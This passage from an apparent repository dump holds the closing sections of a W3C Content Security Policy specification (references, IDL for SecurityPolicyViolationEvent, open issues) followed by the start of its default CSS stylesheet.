<a data-link-type=\"biblio\" href=\"#biblio-rfc6454\">[rfc6454]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://tools.ietf.org/html/rfc6454#section-3.2\">origin</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-rfc7230\">[rfc7230]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://tools.ietf.org/html/rfc7230#section-3.2.3\">ows</a>\n     <li><a href=\"https://tools.ietf.org/html/rfc7230#section-3.2.3\">rws</a>\n     <li><a href=\"https://tools.ietf.org/html/rfc7230#section-3.2.6\">token</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-rfc7231\">[rfc7231]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://tools.ietf.org/html/rfc7231#section-3\">representation</a>\n     <li><a href=\"https://tools.ietf.org/html/rfc7231#section-3\">resource representation</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-service-workers\">[service-workers]</a> defines the following terms:\n    <ul>\n     <li><a href=\"http://www.w3.org/TR/service-workers/#service-worker-interface\">ServiceWorker</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-sha2\">[SHA2]</a> defines the following terms:\n    <ul>\n     <li><a href=\"http://csrc.nist.gov/publications/fips/fips180-4/fips-180-4.pdf#\">sha-256</a>\n     <li><a href=\"http://csrc.nist.gov/publications/fips/fips180-4/fips-180-4.pdf#\">sha-384</a>\n     <li><a href=\"http://csrc.nist.gov/publications/fips/fips180-4/fips-180-4.pdf#\">sha-512</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-url\">[url]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://url.spec.whatwg.org/#url\">URL</a>\n     <li><a href=\"https://url.spec.whatwg.org/#default-port\">default port</a>\n     <li><a href=\"https://url.spec.whatwg.org/#concept-url-host\">host</a>\n     <li><a href=\"https://url.spec.whatwg.org/#concept-ipv6\">ipv6 address</a>\n     <li><a href=\"https://url.spec.whatwg.org/#local-scheme\">local scheme</a>\n     <li><a href=\"https://url.spec.whatwg.org/#concept-url-origin\">origin</a>\n     <li><a href=\"https://url.spec.whatwg.org/#concept-url-path\">path</a>\n     <li><a href=\"https://url.spec.whatwg.org/#percent-decode\">percent decode</a>\n     <li><a href=\"https://url.spec.whatwg.org/#concept-url-port\">port</a>\n     <li><a href=\"https://url.spec.whatwg.org/#concept-url-scheme\">scheme</a>\n     <li><a href=\"https://url.spec.whatwg.org/#concept-url-parser\">url parser</a>\n     <li><a href=\"https://url.spec.whatwg.org/#concept-url-serializer\">url serializer</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-workers\">[workers]</a> defines the following terms:\n    <ul>\n     <li><a href=\"http://www.w3.org/TR/workers/#worker\">Worker</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-css-cascade-4\">[css-cascade-4]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://drafts.csswg.org/css-cascade-4/#at-ruledef-import\">@import</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-dom-ls\">[dom-ls]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://dom.spec.whatwg.org/#event\">Event</a>\n     <li><a href=\"https://dom.spec.whatwg.org/#dictdef-eventinit\">EventInit</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-html\">[HTML]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/workers.html#sharedworker\">SharedWorker</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/workers.html#workerglobalscope\">WorkerGlobalScope</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/embedded-content.html#attr-object-data\">data</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/webappapis.html#dom-windowtimers-setinterval\">setInterval()</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/webappapis.html#dom-windowtimers-settimeout\">setTimeout()</a>\n    </ul>\n  </ul>\n  <h2 class=\"no-num heading settled\" id=\"references\"><span class=\"content\">References</span><a class=\"self-link\" href=\"#references\"></a></h2>\n  <h3 class=\"no-num heading settled\" id=\"normative\"><span class=\"content\">Normative References</span><a class=\"self-link\" href=\"#normative\"></a></h3>\n  <dl>\n   <dt id=\"biblio-es2015\"><a class=\"self-link\" href=\"#biblio-es2015\"></a>[ES2015]\n   <dd>Allen Wirfs-Brock. <a href=\"http://www.ecma-international.org/ecma-262/6.0/index.html\">ECMAScript® 2015 Language Specification</a>. URL: <a href=\"http://www.ecma-international.org/ecma-262/6.0/index.html\">http://www.ecma-international.org/ecma-262/6.0/index.html</a>\n   <dt id=\"biblio-fetch\"><a class=\"self-link\" href=\"#biblio-fetch\"></a>[FETCH]\n   <dd>Anne van Kesteren. <a href=\"https://fetch.spec.whatwg.org/\">Fetch Standard</a>. Living Standard. URL: <a href=\"https://fetch.spec.whatwg.org/\">https://fetch.spec.whatwg.org/</a>\n   <dt id=\"biblio-html\"><a class=\"self-link\" href=\"#biblio-html\"></a>[HTML]\n   <dd>Ian Hickson. <a href=\"https://html.spec.whatwg.org/multipage/\">HTML Standard</a>. Living Standard. URL: <a href=\"https://html.spec.whatwg.org/multipage/\">https://html.spec.whatwg.org/multipage/</a>\n   <dt id=\"biblio-oob-reporting\"><a class=\"self-link\" href=\"#biblio-oob-reporting\"></a>[OOB-REPORTING]\n   <dd>Ilya Gregorik; Mike West. <a href=\"https://mikewest.github.io/error-reporting/\">Out-of-band Reporting</a>. URL: <a href=\"https://mikewest.github.io/error-reporting/\">https://mikewest.github.io/error-reporting/</a>\n   <dt id=\"biblio-sha2\"><a class=\"self-link\" href=\"#biblio-sha2\"></a>[SHA2]\n   <dd><a href=\"http://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf\">FIPS PUB 180-4, Secure Hash Standard</a>. URL: <a href=\"http://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf\">http://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf</a>\n   <dt id=\"biblio-css-cascade-4\"><a class=\"self-link\" href=\"#biblio-css-cascade-4\"></a>[CSS-CASCADE-4]\n   <dd>Elika Etemad; Tab Atkins Jr.. <a href=\"http://www.w3.org/TR/css-cascade-4/\">CSS Cascading and Inheritance Level 4</a>. 8 September 2015. WD. URL: <a href=\"http://www.w3.org/TR/css-cascade-4/\">http://www.w3.org/TR/css-cascade-4/</a>\n   <dt id=\"biblio-cssom\"><a class=\"self-link\" href=\"#biblio-cssom\"></a>[CSSOM]\n   <dd>Simon Pieters; Glenn Adams. <a href=\"http://www.w3.org/TR/cssom/\">CSS Object Model (CSSOM)</a>. 5 December 2013. WD. URL: <a href=\"http://www.w3.org/TR/cssom/\">http://www.w3.org/TR/cssom/</a>\n   <dt id=\"biblio-dom\"><a class=\"self-link\" href=\"#biblio-dom\"></a>[DOM]\n   <dd>Anne van Kesteren; et al. <a href=\"http://www.w3.org/TR/dom/\">W3C DOM4</a>. 19 November 2015. REC. URL: <a href=\"http://www.w3.org/TR/dom/\">http://www.w3.org/TR/dom/</a>\n   <dt id=\"biblio-dom-ls\"><a class=\"self-link\" href=\"#biblio-dom-ls\"></a>[DOM-LS]\n   <dd>Document Object Model URL: <a href=\"https://dom.spec.whatwg.org/\">https://dom.spec.whatwg.org/</a>\n   <dt id=\"biblio-html5\"><a class=\"self-link\" href=\"#biblio-html5\"></a>[HTML5]\n   <dd>Ian Hickson; et al. <a href=\"http://www.w3.org/TR/html5/\">HTML5</a>. 28 October 2014. REC. URL: <a href=\"http://www.w3.org/TR/html5/\">http://www.w3.org/TR/html5/</a>\n   <dt id=\"biblio-rfc2119\"><a class=\"self-link\" href=\"#biblio-rfc2119\"></a>[RFC2119]\n   <dd>S. Bradner. <a href=\"https://tools.ietf.org/html/rfc2119\">Key words for use in RFCs to Indicate Requirement Levels</a>. March 1997. Best Current Practice. URL: <a href=\"https://tools.ietf.org/html/rfc2119\">https://tools.ietf.org/html/rfc2119</a>\n   <dt id=\"biblio-rfc3492\"><a class=\"self-link\" href=\"#biblio-rfc3492\"></a>[RFC3492]\n   <dd>A. Costello. <a href=\"https://tools.ietf.org/html/rfc3492\">Punycode: A Bootstring encoding of Unicode for Internationalized Domain Names in Applications (IDNA)</a>. March 2003. Proposed Standard. URL: <a href=\"https://tools.ietf.org/html/rfc3492\">https://tools.ietf.org/html/rfc3492</a>\n   <dt id=\"biblio-rfc3864\"><a class=\"self-link\" href=\"#biblio-rfc3864\"></a>[RFC3864]\n   <dd>G. Klyne; M. Nottingham; J. Mogul. <a href=\"https://tools.ietf.org/html/rfc3864\">Registration Procedures for Message Header Fields</a>. September 2004. Best Current Practice. URL: <a href=\"https://tools.ietf.org/html/rfc3864\">https://tools.ietf.org/html/rfc3864</a>\n   <dt id=\"biblio-rfc3986\"><a class=\"self-link\" href=\"#biblio-rfc3986\"></a>[RFC3986]\n   <dd>T. Berners-Lee; R. Fielding; L. Masinter. <a href=\"https://tools.ietf.org/html/rfc3986\">Uniform Resource Identifier (URI): Generic Syntax</a>. January 2005. Internet Standard. URL: <a href=\"https://tools.ietf.org/html/rfc3986\">https://tools.ietf.org/html/rfc3986</a>\n   <dt id=\"biblio-rfc4648\"><a class=\"self-link\" href=\"#biblio-rfc4648\"></a>[RFC4648]\n   <dd>S. Josefsson. <a href=\"https://tools.ietf.org/html/rfc4648\">The Base16, Base32, and Base64 Data Encodings</a>. October 2006. Proposed Standard. URL: <a href=\"https://tools.ietf.org/html/rfc4648\">https://tools.ietf.org/html/rfc4648</a>\n   <dt id=\"biblio-rfc5234\"><a class=\"self-link\" href=\"#biblio-rfc5234\"></a>[RFC5234]\n   <dd>D. Crocker, Ed.; P. Overell. <a href=\"https://tools.ietf.org/html/rfc5234\">Augmented BNF for Syntax Specifications: ABNF</a>. January 2008. Internet Standard. URL: <a href=\"https://tools.ietf.org/html/rfc5234\">https://tools.ietf.org/html/rfc5234</a>\n   <dt id=\"biblio-rfc5988\"><a class=\"self-link\" href=\"#biblio-rfc5988\"></a>[RFC5988]\n   <dd>M. Nottingham. <a href=\"https://tools.ietf.org/html/rfc5988\">Web Linking</a>. October 2010. Proposed Standard. URL: <a href=\"https://tools.ietf.org/html/rfc5988\">https://tools.ietf.org/html/rfc5988</a>\n   <dt id=\"biblio-rfc6454\"><a class=\"self-link\" href=\"#biblio-rfc6454\"></a>[RFC6454]\n   <dd>A. Barth. <a href=\"https://tools.ietf.org/html/rfc6454\">The Web Origin Concept</a>. December 2011. Proposed Standard. URL: <a href=\"https://tools.ietf.org/html/rfc6454\">https://tools.ietf.org/html/rfc6454</a>\n   <dt id=\"biblio-rfc7230\"><a class=\"self-link\" href=\"#biblio-rfc7230\"></a>[RFC7230]\n   <dd>R. Fielding, Ed.; J. Reschke, Ed.. <a href=\"https://tools.ietf.org/html/rfc7230\">Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</a>. June 2014. Proposed Standard. URL: <a href=\"https://tools.ietf.org/html/rfc7230\">https://tools.ietf.org/html/rfc7230</a>\n   <dt id=\"biblio-rfc7231\"><a class=\"self-link\" href=\"#biblio-rfc7231\"></a>[RFC7231]\n   <dd>R. Fielding, Ed.; J. Reschke, Ed.. <a href=\"https://tools.ietf.org/html/rfc7231\">Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</a>. June 2014. Proposed Standard. URL: <a href=\"https://tools.ietf.org/html/rfc7231\">https://tools.ietf.org/html/rfc7231</a>\n   <dt id=\"biblio-service-workers\"><a class=\"self-link\" href=\"#biblio-service-workers\"></a>[SERVICE-WORKERS]\n   <dd>Alex Russell; Jungkee Song; Jake Archibald. <a href=\"http://www.w3.org/TR/service-workers/\">Service Workers</a>. 25 June 2015. WD. URL: <a href=\"http://www.w3.org/TR/service-workers/\">http://www.w3.org/TR/service-workers/</a>\n   <dt id=\"biblio-url\"><a class=\"self-link\" href=\"#biblio-url\"></a>[URL]\n   <dd>Anne van Kesteren; Sam Ruby. <a href=\"http://www.w3.org/TR/url-1/\">URL</a>. 9 December 2014. WD. URL: <a href=\"http://www.w3.org/TR/url-1/\">http://www.w3.org/TR/url-1/</a>\n   <dt id=\"biblio-workers\"><a class=\"self-link\" href=\"#biblio-workers\"></a>[WORKERS]\n   <dd>Ian Hickson. <a href=\"http://www.w3.org/TR/workers/\">Web Workers</a>. 24 September 2015. WD. URL: <a href=\"http://www.w3.org/TR/workers/\">http://www.w3.org/TR/workers/</a>\n  </dl>\n  <h3 class=\"no-num heading settled\" id=\"informative\"><span class=\"content\">Informative References</span><a class=\"self-link\" href=\"#informative\"></a></h3>\n  <dl>\n   <dt id=\"biblio-csp-document\"><a class=\"self-link\" href=\"#biblio-csp-document\"></a>[CSP-DOCUMENT]\n   <dd>Mike West. <a href=\"https://w3c.github.io/webappsec-csp/document/\">Content Security Policy: Document Features</a>. URL: <a href=\"https://w3c.github.io/webappsec-csp/document/\">https://w3c.github.io/webappsec-csp/document/</a>\n   <dt id=\"biblio-csp2\"><a class=\"self-link\" href=\"#biblio-csp2\"></a>[CSP2]\n   <dd>Mike West; Adam Barth; Daniel Veditz. <a href=\"http://www.w3.org/TR/CSP2/\">Content Security Policy Level 2</a>. 21 July 2015. CR. URL: <a href=\"http://www.w3.org/TR/CSP2/\">http://www.w3.org/TR/CSP2/</a>\n   <dt id=\"biblio-html-design\"><a class=\"self-link\" href=\"#biblio-html-design\"></a>[HTML-DESIGN]\n   <dd>Anne Van Kesteren; Maciej Stachowiak. <a href=\"http://www.w3.org/TR/html-design-principles/\">HTML Design Principles</a>. URL: <a href=\"http://www.w3.org/TR/html-design-principles/\">http://www.w3.org/TR/html-design-principles/</a>\n   <dt id=\"biblio-mix\"><a class=\"self-link\" href=\"#biblio-mix\"></a>[MIX]\n   <dd>Mike West. <a href=\"http://www.w3.org/TR/mixed-content/\">Mixed Content</a>. 8 October 2015. CR. URL: <a href=\"http://www.w3.org/TR/mixed-content/\">http://www.w3.org/TR/mixed-content/</a>\n   <dt id=\"biblio-timing\"><a class=\"self-link\" href=\"#biblio-timing\"></a>[TIMING]\n   <dd>Paul Stone. <a href=\"http://www.contextis.com/documents/2/Browser_Timing_Attacks.pdf\">Pixel Perfect Timing Attacks with HTML5</a>. URL: <a href=\"http://www.contextis.com/documents/2/Browser_Timing_Attacks.pdf\">http://www.contextis.com/documents/2/Browser_Timing_Attacks.pdf</a>\n   <dt id=\"biblio-xhr\"><a class=\"self-link\" href=\"#biblio-xhr\"></a>[XHR]\n   <dd>Anne van Kesteren. <a href=\"https://xhr.spec.whatwg.org/\">XMLHttpRequest Standard</a>. Living Standard. URL: <a href=\"https://xhr.spec.whatwg.org/\">https://xhr.spec.whatwg.org/</a>\n   <dt id=\"biblio-appmanifest\"><a class=\"self-link\" href=\"#biblio-appmanifest\"></a>[APPMANIFEST]\n   <dd>Marcos Caceres; et al. <a href=\"http://www.w3.org/TR/appmanifest/\">Web App Manifest</a>. 15 December 2015. WD. URL: <a href=\"http://www.w3.org/TR/appmanifest/\">http://www.w3.org/TR/appmanifest/</a>\n   <dt id=\"biblio-beacon\"><a class=\"self-link\" href=\"#biblio-beacon\"></a>[BEACON]\n   <dd>Ilya Grigorik; et al. <a href=\"http://www.w3.org/TR/beacon/\">Beacon</a>. 9 December 2015. WD. URL: <a href=\"http://www.w3.org/TR/beacon/\">http://www.w3.org/TR/beacon/</a>\n   <dt id=\"biblio-eventsource\"><a class=\"self-link\" href=\"#biblio-eventsource\"></a>[EVENTSOURCE]\n   <dd>Ian Hickson. <a href=\"http://www.w3.org/TR/eventsource/\">Server-Sent Events</a>. 3 February 2015. REC. URL: <a href=\"http://www.w3.org/TR/eventsource/\">http://www.w3.org/TR/eventsource/</a>\n   <dt id=\"biblio-upgrade-insecure-requests\"><a class=\"self-link\" href=\"#biblio-upgrade-insecure-requests\"></a>[UPGRADE-INSECURE-REQUESTS]\n   <dd>Mike West. <a href=\"http://www.w3.org/TR/upgrade-insecure-requests/\">Upgrade Insecure Requests</a>. 8 October 2015. CR. URL: <a href=\"http://www.w3.org/TR/upgrade-insecure-requests/\">http://www.w3.org/TR/upgrade-insecure-requests/</a>\n   <dt id=\"biblio-websockets\"><a class=\"self-link\" href=\"#biblio-websockets\"></a>[WEBSOCKETS]\n   <dd>Ian Hickson. <a href=\"http://www.w3.org/TR/websockets/\">The WebSocket API</a>. 20 September 2012. CR. URL: <a href=\"http://www.w3.org/TR/websockets/\">http://www.w3.org/TR/websockets/</a>\n   <dt id=\"biblio-xslt\"><a class=\"self-link\" href=\"#biblio-xslt\"></a>[XSLT]\n   <dd>James Clark. <a href=\"http://www.w3.org/TR/xslt\">XSL Transformations (XSLT) Version 1.0</a>. 16 November 1999. REC. URL: <a href=\"http://www.w3.org/TR/xslt\">http://www.w3.org/TR/xslt</a>\n  </dl>\n  <h2 class=\"no-num heading settled\" id=\"idl-index\"><span class=\"content\">IDL Index</span><a class=\"self-link\" href=\"#idl-index\"></a></h2>\n<pre class=\"idl\">[<a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent\">Constructor</a>(DOMString <a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-type\">type</a>, optional <a data-link-type=\"idl-name\" href=\"#dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit</a> <a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-eventinitdict\">eventInitDict</a>)]\ninterface <a class=\"idl-code\" data-link-type=\"interface\" href=\"#securitypolicyviolationevent\">SecurityPolicyViolationEvent</a> : <a data-link-type=\"idl-name\" href=\"https://dom.spec.whatwg.org/#event\">Event</a> {\n    readonly    attribute DOMString <a data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-documenturi\">documentURI</a>;\n    readonly    attribute DOMString <a data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-referrer\">referrer</a>;\n    readonly    attribute DOMString <a data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-blockeduri\">blockedURI</a>;\n    readonly    attribute DOMString <a data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-violateddirective\">violatedDirective</a>;\n    readonly    attribute DOMString <a data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-effectivedirective\">effectiveDirective</a>;\n    readonly    attribute DOMString <a data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-originalpolicy\">originalPolicy</a>;\n    readonly    attribute DOMString <a data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-sourcefile\">sourceFile</a>;\n    readonly    attribute DOMString <a data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-statuscode\">statusCode</a>;\n    readonly    attribute long      <a data-readonly=\"\" data-type=\"long      \" href=\"#dom-securitypolicyviolationevent-linenumber\">lineNumber</a>;\n    readonly    attribute long      <a data-readonly=\"\" data-type=\"long      \" href=\"#dom-securitypolicyviolationevent-columnnumber\">columnNumber</a>;\n};\n\ndictionary <a href=\"#dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit</a> : <a data-link-type=\"idl-name\" href=\"https://dom.spec.whatwg.org/#dictdef-eventinit\">EventInit</a> {\n    DOMString <a data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-documenturi\">documentURI</a>;\n    DOMString <a data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-referrer\">referrer</a>;\n    DOMString <a data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-blockeduri\">blockedURI</a>;\n    DOMString <a data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-violateddirective\">violatedDirective</a>;\n    DOMString <a data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-effectivedirective\">effectiveDirective</a>;\n    DOMString <a data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-originalpolicy\">originalPolicy</a>;\n    DOMString <a data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-sourcefile\">sourceFile</a>;\n    long      <a data-type=\"long      \" href=\"#dom-securitypolicyviolationeventinit-linenumber\">lineNumber</a>;\n    long      <a data-type=\"long      \" href=\"#dom-securitypolicyviolationeventinit-columnnumber\">columnNumber</a>;\n};\n\n</pre>\n  <h2 class=\"no-num heading settled\" id=\"issues-index\"><span class=\"content\">Issues Index</span><a class=\"self-link\" href=\"#issues-index\"></a></h2>\n  <div style=\"counter-reset:issue\">\n   <div class=\"issue\"> Is this kind of thing specified anywhere? I didn’t see anything\n  that looked useful in <a data-link-type=\"biblio\" href=\"#biblio-es2015\">[ES2015]</a>.<a href=\"#issue-f447ede5\"> ↵ </a></div>\n   <div class=\"issue\"> How, exactly, do we get the status code? We don’t actually store it\n  anywhere.<a href=\"#issue-99576800\"> ↵ </a></div>\n   <div class=\"issue\"> Why <code>sandbox</code>? Can we loosen that?<a href=\"#issue-6521ca1c\"> ↵ </a></div>\n   <div class=\"issue\"> The algorithm is named \"creating a new <code>Document</code> object\" in W3C’s\n  HTML, and isn’t well-integrated with Fetch.<a href=\"#issue-106a0c5c\"> ↵ </a></div>\n   <div class=\"issue\"> Need to monkey-patch these in: something like \"Set the <code>Window</code> object’s <code>CSP list</code> to the <code>CSP list</code> of the resource used to\n  generate the document.<a href=\"#issue-7fd49562\"> ↵ </a></div>\n   <div class=\"issue\"> The <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/#update-a-style-block\">update a <code>style</code> block</a> algorithm does not exist in\n  W3C’s HTML.<a href=\"#issue-f40dd242\"> ↵ </a></div>\n   <div class=\"issue\"> The <code>nonce</code> attribute for <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> and <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> were added to\n  WHATWG’s HTML in <a href=\"https://github.com/whatwg/html/commit/882803c4cc8fba2fa5472b76f628d95cc82c421d\">whatwg/html@882803c</a>.\n  They have not yet been added to W3C’s HTML.<a href=\"#issue-141323ad\"> ↵ </a></div>\n   <div class=\"issue\"> The <a href=\"#should-block-inline\">§4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?</a> hooks were added to WHATWG’s HTML in <a href=\"https://github.com/whatwg/html/commit/ee3486eb129bc350b5ca684d0c91dff23453ac1a\">whatwg/html@ee3486e</a>.\n  They aren’t yet in W3C’s HTML.<a href=\"#issue-af0c6074\"> ↵ </a></div>\n   <div class=\"issue\"> This hook is in-flight for WHATWG’s HTML. <a href=\"https://github.com/WHATWG/html/issues/384\">&lt;https://github.com/WHATWG/html/issues/384></a><a href=\"#issue-73064ff2\"> ↵ </a></div>\n   <div class=\"issue\"> This processing was added to WHATWG’s HTML in <a href=\"https://github.com/whatwg/html/commit/5064a629f22bef29839ab4dc6f1ceef17f010bc5\">whatwg/html@5064a62</a>.\n  It has not yet been added to W3C’s HTML.<a href=\"#issue-389933ec\"> ↵ </a></div>\n   <div class=\"issue\"> TODO.<a href=\"#issue-95f2d23a\"> ↵ </a></div>\n   <div class=\"issue\"> TODO.<a href=\"#issue-95f2d23a0\"> ↵ </a></div>\n   <div class=\"issue\"> Do something interesting to the execution context in order to lock down <code>eval()</code>, et al. I don’t think ECMA gives us any hooks here, so let’s work\n  with them to put something reasonable together.<a href=\"#issue-2b1bf0aa\"> ↵ </a></div>\n   <div class=\"issue\"> This needs to be better explained.<a href=\"#issue-ba1a0a35\"> ↵ </a></div>\n   <div class=\"issue\"> Do something interesting to the execution context in order to lock down\n  interesting CSSOM algorithms. I don’t think CSSOM gives us any hooks here, so\n  let’s work with them to put something reasonable together.<a href=\"#issue-eba1ebc1\"> ↵ </a></div>\n  </div>\n </body>\n</html>"
  },
  {
    "path": "published/default.css",
    "content": "/*\n * Style sheet for WebAppSec specifications (stolen wholesale from the CSSWG),\n * to be used in addition to http://www.w3.org/StyleSheets/TR/W3C-{WD,PR,REC}\n */\n\n@media print {\n\thtml { margin: 0 !important }\n\tbody { font-family: serif }\n\tth, td { font-family: inherit }\n\ta { color: inherit !important }\n\t.example:before { font-family: serif !important }\n\ta:link, a:visited { text-decoration: none !important }\n\ta:link:after, a:visited:after { /* create a cross-ref \"see...\" */ }\n}\n@page {\n\tmargin: 1.5cm 1.1cm;\n}\n\nbody {\n\tcounter-reset: exampleno figure issue;\n\tmax-width: 50em;\n\tmargin: 0 auto !important;\n}\n\n/* Pagination */\nh1, h2, h3, h4, h5, h6 { page-break-after: avoid }\nfigure, div.figure, div.sidefigure, pre, table.propdef, table.propdef-extra,\n.example { page-break-inside: avoid }\ndt { page-break-after: avoid }\n\nspan.id {float: right; font-weight: bold}\n\n/* General Structural Markup */\nh2, h3, h5, h6 { margin-top: 3em; }\n\n/* #subtitle is a subtitle in an H2 under the H1 */\nh1 + h2, #subtitle + h2 { margin-top: 0; }\n\nh4 { margin-top: 4em; }\n\nh2 + h3, h3 + h4, h4 + h5, h5 + h6 { margin-top: 1.2em }\n\nhr:not([title]) {\n\tfont-size: 1.5em;\n\ttext-align: center;\n\tmargin: 1em auto;\n\tborder: transparent solid;\n\tbackground: transparent;\n}\nhr:not([title])::before {\n\tcontent: \"\\1F411\\2003\\2003\\1F411\\2003\\2003\\1F411\";\n}\n\np, div.note, div.issue, details.why {\n\tmargin-top: 1em;\n\tmargin-bottom: 1em;\n}\n\ndd > p:first-child, li > p:first-child, .note > p:first-child, .issue > p:first-child {\n\tmargin-top: 0\n}\n\npre {\n\tmargin-top: 1em;\n\tmargin-bottom: 1em;\n}\n\npre, code {\n\tfont-family: Menlo, Consolas, \"DejaVu Sans Mono\", monospace;\n\tfont-size: .9em;\n}\n\nimg {\n\tborder-style: none;\n\tcolor: white;\n}\n.toc {\n}\n\nbody {\n\tline-height: 1.5;\n}\n\na:link, a:visited {\n\tborder-bottom: 1px solid silver;\n\tcolor: inherit;\n\ttext-decoration: none;\n}\n\na.logo:link, a.logo:visited {\n\tpadding: 0;\n\tborder-style: none;\n}\n\ndl dd { margin: 0 0 1em 2em }\n.head dd { margin-bottom: 0; }\nul, ol { margin-left: 0; padding-left: 2em; }\nli { margin: 0.25em 2em 0.5em 0; padding-left: 0 }\n\nul.indexlist { margin-left: 0; columns: 13em; }\nul.indexlist li { margin-left: 0; list-style: none }\nul.indexlist li li { margin-left: 1em }\nul.indexlist a { font-weight: bold; }\nul.indexlist ul, ul.indexlist dl { font-size: smaller; }\nul.indexlist dl { margin-top: 0; }\nul.indexlist dt { margin: .2em 0 .2em 20px;}\nul.indexlist dd { margin: .2em 0 .2em 40px;}\n\n/* .self-link is a link to the element */\n.heading, .issue, .note, .example, li, dt { position: relative; }\na.self-link {\n\tposition: absolute;\n\ttop: 0;\n\tleft: -2.5em;\n\twidth: 2em;\n\theight: 2em;\n\ttext-align: center;\n\tborder: none;\n\ttransition: opacity .2s;\n\topacity: .5;\n}\na.self-link:hover {\n\topacity: 1;\n}\n.heading > a.self-link {\n\tfont-size: 83%;\n}\nli > a.self-link {\n\tleft: -3.5em;\n}\ndfn > a.self-link {\n\ttop: auto;\n\tleft: auto;\n\topacity: 0;\n\twidth: 1.5em;\n\theight: 1.5em;\n\tbackground: gray;\n\tcolor: white;\n\tfont-style: normal;\n\ttransition: opacity .2s, background-color .2s, color .2s;\n}\ndfn:hover > a.self-link {\n\topacity: 1;\n}\ndfn > a.self-link:hover {\n\tcolor: black;\n}\n\na.self-link::before { content: \"¶\"; }\n.heading > a.self-link::before { content: \"§\"; }\ndfn > a.self-link::before { content: \"#\"; }\n\n/* Examples */\n\n.example {\n\tcounter-increment: exampleno;\n}\n.example:before {\n\tcontent: \"Example\";\n\tcontent: \"Example \" counter(exampleno);\n\tmin-width: 7.5em;\n\ttext-transform: uppercase;\n\tdisplay: block;\n}\ndiv.illegal-example:before, pre.illegal-example:before {\n\tcontent: \"Invalid Example\";\n\tcontent: \"Invalid Example\" counter(exampleno);\n}\n.example, .illegal-example, div.html, div.illegal-html, div.xml,\ndiv.illegal-xml, pre.html,\npre.illegal-html, pre.xml, pre.illegal-xml {\n\tpadding: 0.5em;\n\tmargin: 1em 0;\n\tposition: relative;\n\tclear: both;\n}\npre.example, pre.illegal-example, pre.html,\npre.illegal-html, pre.xml, pre.illegal-xml {\n\tpadding-top: 1.5em;\n}\npre.illegal-example { color: red }\ndiv.illegal-example { color: red }\ndiv.illegal-example p { color: black }\n\ndiv.html { color: #600 }\npre.html { color: #600 }\npre.illegal-html { color: red }\ndiv.illegal-html { color: red }\ndiv.illegal-html p { color: black }\npre.deprecated-html { color: red }\ndiv.deprecated-html { color: red }\ndiv.deprecated-html p { color: black }\n\ndiv.xml { color: #600 }\npre.xml { color: #600 }\npre.illegal-xml { color: red }\ndiv.illegal-xml { color: red }\ndiv.illegal-xml p { color: black }\n\n.css, .property { color: #005a9c }\t\t/* inline CSS code (SPAN/CODE) */\ncode.css { font-family: inherit; font-size: 100% }\ncode.html { color: #600 }\t/* inline HTML */\ncode.xml { color: #600 }\t/* inline XML */\n.property { font: inherit; white-space: nowrap; }\t/* name of a CSS property (SPAN) */\n.descriptor { }\t\t\t/* name of a CSS descriptor (SPAN) */\n.type { font-style: italic }\t/* A <type> value for a property */\n\n/* Autolinks produced using Bikeshed. 